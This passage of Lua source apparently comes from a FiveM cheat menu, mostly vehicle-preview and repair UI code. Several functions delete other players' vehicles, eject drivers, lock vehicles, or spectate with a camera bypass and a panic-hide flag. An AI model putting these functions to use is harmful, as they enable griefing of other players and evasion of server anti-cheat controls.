vigero = "https://docs.fivem.net/vehicles/vigero.webp", vigero2 = "https://docs.fivem.net/vehicles/vigero2.webp", vigilante = "https://docs.fivem.net/vehicles/vigilante.webp", vindicator = "https://docs.fivem.net/vehicles/vindicator.webp", virgo = "https://docs.fivem.net/vehicles/virgo.webp", virgo2 = "https://docs.fivem.net/vehicles/virgo2.webp", virgo3 = "https://docs.fivem.net/vehicles/virgo3.webp", virtue = "https://docs.fivem.net/vehicles/virtue.webp", viseris = "https://docs.fivem.net/vehicles/viseris.webp", visione = "https://docs.fivem.net/vehicles/visione.webp", volatol = "https://docs.fivem.net/vehicles/volatol.webp", volatus = "https://docs.fivem.net/vehicles/volatus.webp", voltic = "https://docs.fivem.net/vehicles/voltic.webp", voltic2 = "https://docs.fivem.net/vehicles/voltic2.webp", voodoo = "https://docs.fivem.net/vehicles/voodoo.webp", voodoo2 = "https://docs.fivem.net/vehicles/voodoo2.webp", vortex = "https://docs.fivem.net/vehicles/vortex.webp", vstr = "https://docs.fivem.net/vehicles/vstr.webp", warrener = "https://docs.fivem.net/vehicles/warrener.webp", washington = "https://docs.fivem.net/vehicles/washington.webp", wastelander = "https://docs.fivem.net/vehicles/wastelander.webp", weevil = "https://docs.fivem.net/vehicles/weevil.webp", weevil2 = "https://docs.fivem.net/vehicles/weevil2.webp", windsor = "https://docs.fivem.net/vehicles/windsor.webp", windsor2 = "https://docs.fivem.net/vehicles/windsor2.webp", winky = "https://docs.fivem.net/vehicles/winky.webp", wolfsbane = "https://docs.fivem.net/vehicles/wolfsbane.webp", xa21 = "https://docs.fivem.net/vehicles/xa21.webp", xls = "https://docs.fivem.net/vehicles/xls.webp", xls2 = "https://docs.fivem.net/vehicles/xls2.webp", yosemite = "https://docs.fivem.net/vehicles/yosemite.webp", yosemite2 = "https://docs.fivem.net/vehicles/yosemite2.webp", yosemite3 = "https://docs.fivem.net/vehicles/yosemite3.webp", youga = "https://docs.fivem.net/vehicles/youga.webp", youga2 = "https://docs.fivem.net/vehicles/youga2.webp", youga3 = "https://docs.fivem.net/vehicles/youga3.webp", youga4 = "https://docs.fivem.net/vehicles/youga4.webp", z190 = "https://docs.fivem.net/vehicles/z190.webp", zeno = "https://docs.fivem.net/vehicles/zeno.webp", zentorno = "https://docs.fivem.net/vehicles/zentorno.webp", zhaba = "https://docs.fivem.net/vehicles/zhaba.webp", zion = "https://docs.fivem.net/vehicles/zion.webp", zion2 = "https://docs.fivem.net/vehicles/zion2.webp", zion3 = "https://docs.fivem.net/vehicles/zion3.webp", zombiea = "https://docs.fivem.net/vehicles/zombiea.webp", zombieb = "https://docs.fivem.net/vehicles/zombieb.webp", zorrusso = "https://docs.fivem.net/vehicles/zorrusso.webp", zr350 = "https://docs.fivem.net/vehicles/zr350.webp", zr380 = "https://docs.fivem.net/vehicles/zr380.webp", zr3802 = "https://docs.fivem.net/vehicles/zr3802.webp", zr3803 = "https://docs.fivem.net/vehicles/zr3803.webp", ztype = "https://docs.fivem.net/vehicles/ztype.webp" } assembledMenuFunctions.vehiclePreviewAssets = pendingFunctionValue function assembledMenuFunctions.drawSpawnPreviewRowIcon(icon, x, y, scale, color, previousFont) local icons = menu.fonts.icons if not icons then return end local fontSize = math.max(8, roundNearest(9 * scale)) local metricsKey = tostring(icons) .. ":" .. tostring(scale) local metrics = menu.vars.spawnPreviewIconMetrics if not metrics or metrics.key ~= metricsKey then metrics = { key = metricsKey, widths = {} } menu.vars.spawnPreviewIconMetrics = metrics end Ham.setFont(icons) local iconWidth = metrics.widths[icon] if not iconWidth then local measuredWidth = select(1, Ham.getTextWidth(icon)) or 0 measuredWidth = measuredWidth * fontSize local referenceWidth = math.max(1, math.floor(16 * scale)) iconWidth = measuredWidth / referenceWidth metrics.widths[icon] = iconWidth end local cellWidth = roundNearest(18 * scale) local position = { x + roundNearest(8 * scale) + roundNearest((cellWidth - iconWidth) / 2), y + roundNearest(2 * scale) } Ham.drawText(icon, position, color, fontSize, false, true, { 0, 0, 0, 160 }) Ham.drawText(icon, position, color, fontSize, false, false, {}) Ham.setFont(previousFont) end function assembledMenuFunctions.getAddonVehicleChoices() if menu.vars.addonVehicles and 0 < #menu.vars.addonVehicles then return menu.vars.addonVehicles end menu.vars.emptyAddonVehicleChoices = menu.vars.emptyAddonVehicleChoices or { "No addon vehicles" } return menu.vars.emptyAddonVehicleChoices end function assembledMenuFunctions.preloadVehiclePreviewImages() menu.vars.vehicleSpawnInfoImages = menu.vars.vehicleSpawnInfoImages or {} local queue = {} local seenModels = {} for _, category in pairs(menu.utils.getVehicleCategories()) do for _, vehicleEntry in ipairs(category) do local model = vehicleEntry.model local modelName = model.lower(model) if not seenModels[modelName] then seenModels[modelName] = true local image = menu.vars.vehicleSpawnInfoImages[modelName] if not image then image = { width = 192, height = 108 } menu.vars.vehicleSpawnInfoImages[modelName] = image end local source = menu.functions.vehiclePreviewAssets[modelName] if source and not image.texture then queue[#queue + 1] = { model = modelName, image = image, source = source } menu.textureLoading.total = menu.textureLoading.total + 1 end end end end menu.vars.vehiclePreviewLoad = { queue = queue, next = 1, active = {} } end function assembledMenuFunctions.pollVehiclePreviewImages() local vehiclePreviewLoad = menu.vars.vehiclePreviewLoad if not vehiclePreviewLoad then return false end local currentTime = GetGameTimer() for index = #vehiclePreviewLoad.active, 1, -1 do local activeRequest = vehiclePreviewLoad.active[index] local result = Ham.getAsyncTextureResult(activeRequest.request) if result.ready or 30000 < currentTime - activeRequest.started then if result.ready and result.success then activeRequest.image.texture = result.texture elseif not activeRequest.retried then activeRequest.retried = true vehiclePreviewLoad.queue[#vehiclePreviewLoad.queue + 1] = activeRequest else menu.textureLoading.failed[#menu.textureLoading.failed + 1] = "Vehicle: " .. activeRequest.model end activeRequest.image.request = nil if activeRequest.image.texture or activeRequest.finishedRetry then menu.textureLoading.completed = menu.textureLoading.completed + 1 end table.remove(vehiclePreviewLoad.active, index) end end while #vehiclePreviewLoad.active < 8 and vehiclePreviewLoad.next <= #vehiclePreviewLoad.queue do local queuedRequest = vehiclePreviewLoad.queue[vehiclePreviewLoad.next] vehiclePreviewLoad.next = vehiclePreviewLoad.next + 1 local encodedSource = queuedRequest.source:gsub("([^%w%-_%.~])", function(character) return string.format("%%%02X", string.byte(character)) end) queuedRequest.finishedRetry = queuedRequest.retried == true local proxyBase = queuedRequest.retried and "https://images.weserv.nl/" or "https://wsrv.nl/" queuedRequest.request = Ham.addCustomTextureAsync( "vehicle_thumb_192_v2_" .. queuedRequest.model .. ".png", proxyBase .. "?url=" .. encodedSource .. "&w=192&h=108&fit=contain&output=png" ) if queuedRequest.request then queuedRequest.image.request = queuedRequest.request queuedRequest.started = currentTime vehiclePreviewLoad.active[#vehiclePreviewLoad.active + 1] = queuedRequest else menu.textureLoading.failed[#menu.textureLoading.failed + 1] = "Vehicle: " .. queuedRequest.model menu.textureLoading.completed = menu.textureLoading.completed + 1 end end if vehiclePreviewLoad.next > #vehiclePreviewLoad.queue and #vehiclePreviewLoad.active == 0 then menu.vars.vehiclePreviewLoad = nil return false end return true end function assembledMenuFunctions.drawVehicleSpawnInfo(options) if not menu.vars.visible or menu.vars.panicMode or menu.vars.isBindingKey or not options then return end if menu.functions.isVehicleSpawnPreviewEnabled and not menu.functions.isVehicleSpawnPreviewEnabled() then return end local navigationStack = menu.vars.navigationStack local currentNode = navigationStack and navigationStack[#navigationStack] local activeTab = currentNode and currentNode._activeTabs and currentNode._activeTabs[currentNode.tabIndex or 1] if not currentNode or currentNode.title ~= "Vehicle Options" or not activeTab or activeTab.name ~= "Spawner" then return end local absoluteIndex = (menu.vars.currentOption or 1) + (menu.vars.scrollOffset or 0) local selectedOption = options[absoluteIndex] if not menu.functions.isVehicleSpawnPreviewSelector(selectedOption) then return end local selectedIndex = menu.vars.selectors and menu.vars.selectors[selectedOption.var] or 1 if selectedOption.var == "vehicleSelector2" then local model = menu.vars.addonVehicles and menu.vars.addonVehicles[selectedIndex] local context = menu.vars.vehicleAddonPreviewContext if model then if not context or context.model ~= model or context.node ~= currentNode or context.absIndex ~= absoluteIndex then menu.vars.vehicleAddonPreviewContext = { model = model, node = currentNode, absIndex = absoluteIndex, selKey = "vehicleSelector2:" .. tostring(selectedIndex) } end elseif not model then menu.vars.vehicleAddonPreviewContext = nil end return end menu.vars.vehicleAddonPreviewContext = nil local selection = menu.vars.vehicleSpawnInfoSelection if not selection or selection.option ~= selectedOption or selection.index ~= selectedIndex then local choices = selectedOption.choices if type(choices) == "function" then choices = selectedOption.choices() or selectedOption.choices end local display = choices and choices[selectedIndex] local model = display and menu.functions.resolveVehicleSpawnPreviewModel(selectedOption, display) selection = { option = selectedOption, index = selectedIndex, model = model, display = display } menu.vars.vehicleSpawnInfoSelection = selection end local model = selection.model local display = selection.display if type(model) ~= "string" or not model:match("^[%w_]+$") then return end model = model.lower(model) menu.vars.vehicleSpawnInfoImages = menu.vars.vehicleSpawnInfoImages or {} local images = menu.vars.vehicleSpawnInfoImages local image = images[model] if not image then local modelHash = GetHashKey(model) if not IsModelInCdimage(modelHash) or not IsModelAVehicle(modelHash) then return end image = { hash = modelHash, width = 192, height = 108 } images[model] = image end if not image.rows then local modelHash = image.hash or GetHashKey(model) image.hash = modelHash local function readModelStat(nativeFunction) if type(nativeFunction) ~= "function" then return nil end local success, value = pcall(nativeFunction, modelHash) if success and type(value) == "number" and 0 <= value then return value end end local topSpeed = readModelStat(GetVehicleModelEstimatedMaxSpeed) local acceleration = readModelStat(GetVehicleModelAcceleration) local braking = readModelStat(GetVehicleModelMaxBraking) local seats = readModelStat(GetVehicleModelNumberOfSeats) image.rows = { { "Top Speed", topSpeed and string.format("%.0f km/h", topSpeed * 3.6) or "-", "\239\131\167" }, { "Acceleration", acceleration and string.format("%.2f", acceleration) or "-", "\239\129\161" }, { "Braking", braking and string.format("%.2f", braking) or "-", "\239\129\155" }, { "Seats", seats and string.format("%.0f", seats) or "-", "\239\128\135" } } end local scale = menu.vars.scale or 1 local screenWidth, screenHeight = Ham.getResolution() local panelWidth = roundNearest(205 * scale) local panelHeight = roundNearest(220 * scale) local padding = roundNearest(8 * scale) local positionState = menu.vars.menuPositionState or {} local menuX = positionState.x or roundNearest(75 * scale) local bannerHeight = roundNearest((menu.vars.bannerHeight or 0) * (menu.vars.widthScaleFactor or 1)) local menuY = positionState.y if not menuY then menuY = roundNearest(screenHeight / (menu.vars.menuVerticalAnchorDivisor or 7)) menuY = menuY + roundNearest((menu.vars.yOffset or 0) * scale) + bannerHeight end local menuWidth = menu.vars.width or roundNearest(470 * scale) local panelX = menuX + menuWidth + padding if panelX + panelWidth > screenWidth - padding then panelX = menuX - panelWidth - padding end panelX = math.max(padding, math.min(panelX, screenWidth - panelWidth - padding)) local panelY = math.max(padding, math.min(menuY - bannerHeight, screenHeight - panelHeight - padding)) local primaryColor = menu.drawing.colors.primary or { 0, 120, 255, 255 } local white = { 255, 255, 255, 255 } local subduedText = { 255, 255, 255, 210 } local optionsFont = menu.fonts.options local rowFontSize = math.max(10, roundNearest((optionsFont.font_size or 15) * 0.78)) Ham.drawRectFilled( { panelX, panelY, panelWidth, panelHeight }, { 0, 0, 0, 245 }, roundNearest(10 * scale), roundNearest(12 * scale) ) menu.drawing.drawRoundedRectGradient( { panelX, panelY, panelWidth, panelHeight }, { primaryColor[1], primaryColor[2], primaryColor[3], 48 }, { 0, 0, 0, 0 }, roundNearest(10 * scale) ) local function drawPanel(offsetY, height) local rectangle = { panelX, panelY + roundNearest(offsetY * scale), panelWidth, roundNearest(height * scale) } Ham.drawRectFilled(rectangle, { 0, 0, 0, 200 }, roundNearest(8 * scale), 8) menu.drawing.drawRoundedRectGradient( rectangle, { primaryColor[1], primaryColor[2], primaryColor[3], 56 }, { 0, 0, 0, 0 }, roundNearest(8 * scale) ) end Ham.drawRectFilled( { panelX, panelY + roundNearest(24 * scale), panelWidth, 1 }, { primaryColor[1], primaryColor[2], primaryColor[3], 70 }, 0, 0 ) drawPanel(27, 94) drawPanel(127, 89) Ham.drawRectFilled( { panelX, panelY + roundNearest(124 * scale), panelWidth, 1 }, { primaryColor[1], primaryColor[2], primaryColor[3], 70 }, 0, 0 ) local function drawText(value, offsetX, offsetY, color, fontSize) local position = { panelX + roundNearest(offsetX * scale), panelY + roundNearest(offsetY * scale) } color = color or white fontSize = fontSize or rowFontSize value = tostring(value) Ham.drawText(value, position, color, fontSize, false, true, { 0, 0, 0, 160 }) Ham.drawText(value, position, color, fontSize, false, false, {}) end local function drawRowIcon(icon, offsetY) menu.functions.drawSpawnPreviewRowIcon( icon, panelX, panelY + roundNearest(offsetY * scale), scale, primaryColor, optionsFont ) end Ham.setFont(optionsFont) local headerKey = tostring(scale) .. ":" .. tostring(rowFontSize) .. ":" .. selectedOption.name if image.headerKey ~= headerKey then local aliases = { ["Sports Classics"] = "Classics", Motorcycles = "Bikes", Helicopters = "Helis", Emergency = "Emergency" } image.categoryLabel = aliases[selectedOption.name] or selectedOption.name local fontScale = rowFontSize / (optionsFont.font_size or 15) image.categoryWidth = (select(1, Ham.getTextWidth(image.categoryLabel)) or 0) * fontScale local availableWidth = panelWidth - roundNearest(24 * scale) - image.categoryWidth local headerTitle = display local headerWidth = (select(1, Ham.getTextWidth(headerTitle)) or 0) * fontScale if availableWidth < headerWidth then while 0 < #headerTitle and availableWidth < ((select(1, Ham.getTextWidth(headerTitle .. "...")) or 0) * fontScale) do headerTitle = headerTitle:sub(1, -2) end headerTitle = headerTitle .. "..." end image.headerKey = headerKey image.headerTitle = headerTitle end drawText(image.headerTitle, 8, 8, white) drawText( image.categoryLabel, (panelWidth - roundNearest(8 * scale) - image.categoryWidth) / scale, 8, primaryColor ) if image.texture then local textureScale = math.min(160 * scale / image.width, 80 * scale / image.height) local textureWidth = image.width * textureScale local textureHeight = image.height * textureScale local textureX = panelX + (panelWidth - textureWidth) / 2 local textureY = panelY + roundNearest(34 * scale) + (80 * scale - textureHeight) / 2 Ham.drawTexture( image.texture, { textureX, textureY }, { textureX + textureWidth, textureY + textureHeight }, { 255, 255, 255, 255 }, 0, {} ) else drawText(image.request and "Loading preview..." or "No image available", 28, 78, subduedText) end if image.rowsFontSize ~= rowFontSize then local fontScale = rowFontSize / (optionsFont.font_size or 15) for _, row in ipairs(image.rows) do row[4] = (select(1, Ham.getTextWidth(row[2])) or 0) * fontScale end image.rowsFontSize = rowFontSize end for index, row in ipairs(image.rows) do local offsetY = 130 + (index - 1) * 21 drawRowIcon(row[3], offsetY) drawText(row[1], 32, offsetY, subduedText) drawText(row[2], (panelWidth - roundNearest(8 * scale) - row[4]) / scale, offsetY, white) end Ham.resetFont() end function assembledMenuFunctions.clearVanityWaterPlatform() local vanityWaterGlide = menu.vars.vanityWaterGlide if vanityWaterGlide and DoesEntityExist(vanityWaterGlide.vehicle) then for wheelIndex, wheel in pairs(vanityWaterGlide.wheels) do if SetVehicleWheelYRotation then SetVehicleWheelYRotation(vanityWaterGlide.vehicle, wheelIndex, 0.0) end if SetVehicleWheelXOffset then SetVehicleWheelXOffset(vanityWaterGlide.vehicle, wheelIndex, wheel.x) end end if SetVehicleSuspensionHeight then SetVehicleSuspensionHeight(vanityWaterGlide.vehicle, vanityWaterGlide.suspension) end end menu.vars.vanityWaterGlide = nil local platform = menu.vars.vanityWaterPlatform if platform and DoesEntityExist(platform) then SetEntityAsMissionEntity(platform, true, true) DeleteEntity(platform) end menu.vars.vanityWaterPlatform = nil menu.vars.vanityWaterVehicle = nil end function assembledMenuFunctions.applyVanityWaterGlide(entity, waterHeight, hoverContext) local glideState = menu.vars.vanityWaterGlide if not glideState then local velocity = GetEntityVelocity(entity) local minimumDimensions = GetModelDimensions(GetEntityModel(entity)) glideState = { vehicle = entity, vx = velocity.x, vy = velocity.y, wheels = {}, height = math.max(0.45, -minimumDimensions.z + 0.15), suspension = GetVehicleSuspensionHeight and GetVehicleSuspensionHeight(entity) or 0.0 } for wheelIndex = 0, hoverContext.getVehicleHoverTestWheelCount(entity) - 1, 1 do glideState.wheels[wheelIndex] = { x = GetVehicleWheelXOffset and GetVehicleWheelXOffset(entity, wheelIndex) or 0.0 } end menu.vars.vanityWaterGlide = glideState end local frameTime = math.min(math.max(GetFrameTime(), 0.001), 0.05) local forwardPressed = hoverContext.isVehicleHoverTestForwardPressed() local backwardPressed = hoverContext.isVehicleHoverTestBackwardPressed() local leftPressed = hoverContext.isVehicleHoverTestLeftPressed() local rightPressed = hoverContext.isVehicleHoverTestRightPressed() local speedMultiplier = hoverContext.isVehicleHoverTestControlPressed(21) and hoverContext.SHIFT_MULT or 1.0 local thrust = hoverContext.THRUST * frameTime * speedMultiplier local rotation = GetEntityRotation(entity, 2) local yaw = hoverContext.lerpVehicleHoverTestAngle( rotation.z, GetGameplayCamRot(2).z, math.min(1.0, hoverContext.YAW_SMOOTH * frameTime) ) local yawRadians = math.rad(yaw) local negativeSinYaw = -math.sin(yawRadians) local cosYaw = math.cos(yawRadians) local sinYaw = math.sin(yawRadians) local forwardInput = forwardPressed and 1.0 or backwardPressed and -0.75 or 0.0 local sideInput = (rightPressed and 1.0 or 0.0) - (leftPressed and 1.0 or 0.0) glideState.vx = glideState.vx + (negativeSinYaw * forwardInput + cosYaw * sideInput * 0.55) * thrust glideState.vy = glideState.vy + (cosYaw * forwardInput + sinYaw * sideInput * 0.55) * thrust if forwardInput == 0.0 and sideInput == 0.0 then local speed = math.sqrt(glideState.vx * glideState.vx + glideState.vy * glideState.vy) local damping = math.max(0.0, 1.0 - hoverContext.HOVER_DAMP * (8.0 < speed and 0.18 or 1.0) * frameTime) local vx = glideState.vx * damping local vy = glideState.vy * damping glideState.vy = vy glideState.vx = vx end local vx, vy = hoverContext.clampVehicleHoverTestVelocity( glideState.vx, glideState.vy, 0.0, hoverContext.MAX_SPEED * speedMultiplier ) glideState.vy = vy glideState.vx = vx local coords = GetEntityCoords(entity) local targetZ = waterHeight + glideState.height local newZ = coords.z + (targetZ - coords.z) * math.min(1.0, 10.0 * frameTime) local targetRoll = -sideInput * hoverContext.MAX_ROLL SetEntityRotation( entity, rotation.x * math.max(0.0, 1.0 - hoverContext.PITCH_SMOOTH * frameTime), rotation.y + (targetRoll - rotation.y) * math.min(1.0, hoverContext.ROLL_SMOOTH * frameTime), yaw, 2, true ) SetEntityCoordsNoOffset( entity, coords.x + glideState.vx * frameTime, coords.y + glideState.vy * frameTime, newZ, false, false, false ) SetEntityVelocity(entity, glideState.vx, glideState.vy, 0.0) if SetVehicleSuspensionHeight then SetVehicleSuspensionHeight(entity, hoverContext.SUSPENSION_DROP) end for wheelIndex, wheel in pairs(glideState.wheels) do local evenWheel = wheelIndex % 2 == 0 if SetVehicleWheelYRotation then SetVehicleWheelYRotation( entity, wheelIndex, evenWheel and -hoverContext.WHEEL_CAMBER or hoverContext.WHEEL_CAMBER ) end if SetVehicleWheelXOffset then local offset = wheel.x if math.abs(offset) < 0.2 then offset = evenWheel and -0.85 or 0.85 end SetVehicleWheelXOffset( entity, wheelIndex, offset + (evenWheel and -hoverContext.WHEEL_EXTRA_WIDTH or hoverContext.WHEEL_EXTRA_WIDTH) ) end end for _, control in ipairs({ 59, 60, 63, 64, 71, 72, 76 }) do DisableControlAction(0, control, true) end end function assembledMenuFunctions.tickVanityWaterDriving(entity, allowWaterDriving, hoverContext) local playerVehicle = GetVehiclePedIsIn(entity, false) if not menu.vars.bools.alwaysOnGround or menu.vars.panicMode or IsEntityDead(entity) or playerVehicle == 0 or GetPedInVehicleSeat(playerVehicle, -1) ~= entity or IsEntityDead(playerVehicle) or not IsThisModelACar(GetEntityModel(playerVehicle)) or not allowWaterDriving then menu.functions.clearVanityWaterPlatform() return false end if menu.vars.vanityWaterVehicle ~= playerVehicle then menu.functions.clearVanityWaterPlatform() end local coords = GetEntityCoords(playerVehicle) local foundWater, waterHeight = GetWaterHeightNoWaves(coords.x, coords.y, coords.z + 2.0) local foundGround, groundHeight = Citizen.InvokeNative( -7024787540623746263, coords.x, coords.y, coords.z + 2.0, Citizen.PointerValueFloat(), false, false, Citizen.ReturnResultAnyway() ) local validWater = false if foundWater then validWater = true if foundGround and groundHeight >= waterHeight - 0.2 then validWater = false elseif coords.z > waterHeight + 4.0 then validWater = false elseif coords.z < waterHeight - 1.0 then validWater = false end end if not validWater then menu.functions.clearVanityWaterPlatform() return true end menu.vars.vanityWaterVehicle = playerVehicle menu.functions.applyVanityWaterGlide(playerVehicle, waterHeight, hoverContext) return true end function assembledMenuFunctions.repairVehicle(repairType) local playerPed = PlayerPedId() if not IsPedInAnyVehicle(playerPed, false) then menu.utils.notify("You must be in a vehicle", "error", 2000) return end local vehicle = GetVehiclePedIsIn(playerPed, false) repairType = repairType or "Full Vehicle" if repairType == "Full Vehicle" then SetVehicleFixed(vehicle) SetVehicleDeformationFixed(vehicle) SetVehicleUndriveable(vehicle, false) SetVehicleEngineHealth(vehicle, 1000.0) SetVehiclePetrolTankHealth(vehicle, 1000.0) SetVehicleBodyHealth(vehicle, 1000.0) SetVehicleDirtLevel(vehicle, 0.0) elseif repairType == "Engine" then SetVehicleEngineHealth(vehicle, 1000.0) SetVehicleUndriveable(vehicle, false) elseif repairType == "Body" then SetVehicleBodyHealth(vehicle, 1000.0) elseif repairType == "Petrol Tank" then SetVehiclePetrolTankHealth(vehicle, 1000.0) elseif repairType == "Deformation" then SetVehicleDeformationFixed(vehicle) elseif repairType == "Visual" then SetVehicleFixed(vehicle) elseif repairType == "Clean" then SetVehicleDirtLevel(vehicle, 0.0) end local subtitle, subtitleSegments = menu.utils.buildNotifySubtitleParts("Successfully ", { repairType, true }, " repaired") menu.utils.notify("Vehicle Options", "success", 2000, nil, { title = "Vehicle Options", subtitle = subtitle, subtitleSegments = subtitleSegments }) end function assembledMenuFunctions.flipVehicle() local playerPed = PlayerPedId() if not IsPedInAnyVehicle(playerPed, false) then return end local vehicle = GetVehiclePedIsIn(playerPed, false) local _, _, heading = table.unpack(GetEntityRotation(vehicle, 2)) SetEntityRotation(vehicle, 0.0, 0.0, heading, 2, true) menu.utils.notify("Vehicle flipped", "success", 3000) end function assembledMenuFunctions.mainDeleteVehicle() local playerPed = PlayerPedId() if IsPedInAnyVehicle(playerPed, false) then DeleteEntity(GetVehiclePedIsIn(playerPed, false)) end end function assembledMenuFunctions.changeVehiclePlate() local playerPed = PlayerPedId() if not IsPedInAnyVehicle(playerPed, false) then menu.utils.notify("You must be in a vehicle", "error", 2000) return end menu.ui.promptText( { title = "Change Plate", label = "New Plate", default = "", maxLen = 8 }, function(value, cancelled) if cancelled then return end local plate = tostring(value or "") plate = plate:gsub("^%s+", "") plate = plate:gsub("%s+$", "") if plate == "" then menu.utils.notify("Plate cannot be empty", "error", 2000) return end local vehicle = GetVehiclePedIsIn(PlayerPedId(), false) if not DoesEntityExist(vehicle) then menu.utils.notify("Invalid vehicle", "error", 2000) return end local networkId = NetworkGetNetworkIdFromEntity(vehicle) if networkId and networkId ~= 0 then NetworkRequestControlOfEntity(vehicle) end plate = string.sub(plate, 1, 8) SetVehicleNumberPlateText(vehicle, plate) local subtitle, subtitleSegments = menu.utils.buildNotifySubtitleParts("Plate changed to ", { plate, true }) menu.utils.notify("Vehicle Options", "success", 3000, nil, { title = "Vehicle Options", subtitle = subtitle, subtitleSegments = subtitleSegments }) end ) end function assembledMenuFunctions.deleteSelectedVehicles() if not menu.vars.selectedVehicles then menu.utils.notify("No vehicles selected", "info", 2000) return end Citizen.CreateThread(function() local selectedCount = 0 local deletedCount = 0 for _ in pairs(menu.vars.selectedVehicles) do selectedCount = selectedCount + 1 end if selectedCount == 0 then menu.utils.notify("No vehicles selected", "info", 2000) return end for _, selected in pairs(menu.vars.selectedVehicles) do local vehicle = selected.vehicle if DoesEntityExist(vehicle) then if not IsVehicleSeatFree(vehicle, -1) then menu.utils.removeDriverFromVehicle(vehicle) while not IsVehicleSeatFree(vehicle, -1) do Citizen.Wait(10) end end local attempts = 0 while not NetworkHasControlOfEntity(vehicle) and attempts < 20 do attempts = attempts + 1 NetworkRequestControlOfEntity(vehicle) Citizen.Wait(10) end SetEntityAsMissionEntity(vehicle, true, true) SetVehicleSiren(vehicle, false) SetVehicleHasMutedSirens(vehicle, true) SetVehicleAlarm(vehicle, false) SetVehicleAlarmTimeLeft(vehicle, 0) FreezeEntityPosition(vehicle, false) SetEntityCollision(vehicle, true, true) local deleteAttempts = 0 while DoesEntityExist(vehicle) and deleteAttempts < 10 do DeleteEntity(vehicle) Citizen.Wait(50) deleteAttempts = deleteAttempts + 1 end if not DoesEntityExist(vehicle) then deletedCount = deletedCount + 1 end end Citizen.Wait(10) end menu.vars.selectedVehicles = {} menu.vars.selectedVehicle = nil menu.utils.notify(string.format("Deleted %d/%d vehicles", deletedCount, selectedCount), "success", 3000) end) end function assembledMenuFunctions.radarBreakVehicles() if not menu.vars.selectedVehicles then menu.utils.notify("No vehicles selected", "info", 2000) return end Citizen.CreateThread(function() local selectedCount = 0 for _ in pairs(menu.vars.selectedVehicles) do selectedCount = selectedCount + 1 end if selectedCount == 0 then menu.utils.notify("No vehicles selected", "info", 2000) return end for _, selected in pairs(menu.vars.selectedVehicles) do local vehicle = selected.vehicle if DoesEntityExist(vehicle) then if not IsVehicleSeatFree(vehicle, -1) then menu.utils.removeDriverFromVehicle(vehicle) while not IsVehicleSeatFree(vehicle, -1) do Citizen.Wait(10) end end local attempts = 0 while not NetworkHasControlOfEntity(vehicle) and attempts < 20 do attempts = attempts + 1 NetworkRequestControlOfEntity(vehicle) Citizen.Wait(10) end SetEntityAsMissionEntity(vehicle, true, true) SetVehicleExclusiveDriver_2(vehicle, PlayerPedId(), 0) SetVehicleExclusiveDriver_2(vehicle, PlayerPedId(), -1) end Citizen.Wait(10) end end) end function assembledMenuFunctions.spectateSelectedVehicle(toggleOptions) if not toggleOptions then return end if toggleOptions.toggleState then if not menu.vars.selectedVehicle then menu.utils.notify("No vehicle selected", "info", 2000) menu.vars.bools.spectateSelectedVehicle = false return end local vehicle = menu.vars.selectedVehicle.vehicle if not DoesEntityExist(vehicle) then menu.utils.notify("Selected vehicle no longer exists", "error", 2000) menu.vars.bools.spectateSelectedVehicle = false return end if Ham and Ham.camBypass then Ham.camBypass(true) end Ham.spectatorMode(true) GetEntityCoords(vehicle) menu.vars.spectateCamera = CreateCam("DEFAULT_SCRIPTED_CAMERA", true) SetCamActive(menu.vars.spectateCamera, true) RenderScriptCams(true, false, 0, true, true) menu.vars.spectateCamRotation = { horizontal = GetEntityHeading(vehicle), vertical = 0.0, distance = 8.0 } if menu.vars.spectateVehicleThread then return end menu.vars.spectateVehicleThread = true Citizen.CreateThread(function() local lastFocusTime = 0 local lastFocusCoords = nil local function stopSpectating() if menu.vars.spectateCamera then RenderScriptCams(false, false, 0, true, true) DestroyCam(menu.vars.spectateCamera, false) menu.vars.spectateCamera = nil end Hdn.spectatorMode(false) if Ham and Ham.camBypass then Ham.camBypass(false) end ClearFocus() end while menu.vars.bools.spectateSelectedVehicle and menu.vars.spectateVehicleThread do Citizen.Wait(0) if not menu.vars.selectedVehicle or not DoesEntityExist(menu.vars.selectedVehicle.vehicle) then menu.vars.bools.spectateSelectedVehicle = false menu.vars.spectateVehicleThread = false stopSpectating() menu.utils.notify("Vehicle no longer exists", "info", 2000) return end local vehicle = menu.vars.selectedVehicle.vehicle local coords = GetEntityCoords(vehicle) local horizontalInput = GetDisabledControlNormal(0, 220) local verticalInput = GetDisabledControlNormal(0, 221) local rotation = menu.vars.spectateCamRotation rotation.horizontal = rotation.horizontal + horizontalInput * 5.0 rotation.vertical = rotation.vertical + verticalInput * 5.0 * 0.5 rotation.vertical = math.max(-45.0, math.min(45.0, rotation.vertical)) if IsDisabledControlPressed(0, 241) then rotation.distance = math.max(3.0, rotation.distance - 0.5) elseif IsDisabledControlPressed(0, 242) then rotation.distance = math.min(20.0, rotation.distance + 0.5) end local horizontal = math.rad(rotation.horizontal) local vertical = math.rad(rotation.vertical) local offsetX = math.sin(horizontal) * math.cos(vertical) * rotation.distance local offsetY = math.cos(horizontal) * math.cos(vertical) * rotation.distance local offsetZ = math.sin(vertical) * rotation.distance local cameraCoords = vector3(coords.x - offsetX, coords.y - offsetY, coords.z + 2.0 + offsetZ) if not menu.vars.spectateCamera then break end local currentTime = GetGameTimer() local updateFocus = 200 <= currentTime - lastFocusTime if not updateFocus then updateFocus = not lastFocusCoords or 10.0 < #(coords - lastFocusCoords) end if updateFocus then SetFocusPosAndVel(coords.x, coords.y, coords.z, 0.0, 0.0, 0.0) RequestCollisionAtCoord(coords.x, coords.y, coords.z) RequestAdditionalCollisionAtCoord(coords.x, coords.y, coords.z) lastFocusTime = currentTime lastFocusCoords = coords end SetCamCoord(menu.vars.spectateCamera, cameraCoords.x, cameraCoords.y, cameraCoords.z) PointCamAtCoord(menu.vars.spectateCamera, coords.x, coords.y, coords.z + 0.5) end stopSpectating() menu.vars.spectateVehicleThread = false end) return end menu.vars.spectateVehicleThread = false if menu.vars.spectateCamera then RenderScriptCams(false, false, 0, true, true) DestroyCam(menu.vars.spectateCamera, false) menu.vars.spectateCamera = nil end Hdn.spectatorMode(false) if Ham and Ham.camBypass then Ham.camBypass(false) end ClearFocus() end function assembledMenuFunctions.radarKickDriver() if not menu.vars.selectedVehicles then menu.utils.notify("No vehicles selected", "info", 2000) return end Citizen.CreateThread(function() local selectedCount = 0 local kickedCount = 0 for _ in pairs(menu.vars.selectedVehicles) do selectedCount = selectedCount + 1 end if selectedCount == 0 then menu.utils.notify("No vehicles selected", "info", 2000) return end for _, selected in pairs(menu.vars.selectedVehicles) do local vehicle = selected.vehicle if DoesEntityExist(vehicle) and not IsVehicleSeatFree(vehicle, -1) then menu.utils.removeDriverFromVehicle(vehicle) 